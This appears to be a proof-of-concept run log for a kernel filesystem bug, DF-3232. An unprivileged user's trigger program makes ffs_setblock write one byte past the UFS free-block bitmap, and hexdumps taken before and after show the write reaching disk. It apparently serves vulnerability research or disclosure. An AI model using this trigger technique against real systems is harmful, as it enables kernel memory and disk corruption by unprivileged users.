DF-3232 run 3 — BNO=5648 (auto-picked: zero byte past bitmap, inside buffer)
============================================================================
[*] auto-picked BNO=5648 (target byte offset 31852)
[*] after : db0=5648 size=8192 — ftruncate() will free this block via ffs_setblock(h=5648>>fragshift)
/dev/vn0 on /mnt (ufs, local)
USING BNO=5648
== pre-trigger on-disk bytes at target (target byte is the 5th, offset 31852):
00000000  00 00 00 00 00 00 00 00  00                       |.........|

$ su -m maxx -c "/tmp/trig3232 /mnt/victim"
[*] trigger: uid=1001 file=/mnt/victim (open+ftruncate(0)+sync)
[*] survived ftruncate+sync
TRIGGER_SURVIVED
-rw-rw-rw-  1 root wheel 0 Sep  9 00:06 /mnt/victim
UMOUNT_OK

== post-trigger on-disk bytes at target:
00000000  00 00 00 00 ff 00 00 00  00                       |.........|

The kernel executed ffs_setblock case 8: cp[5648] = 0xff (ffs_subr.c:294)
through blksfree = cg0 + cg_freeoff(1628) — sixteen bytes PAST the 5632-byte
free-block bitmap — and the clean unmount persisted the byte to the media at
image offset 24576 + 1628 + 5648 = 31852.  On a stock fs_fragshift=3 image
the same free would have written cp[5648>>3=706], inside the bitmap.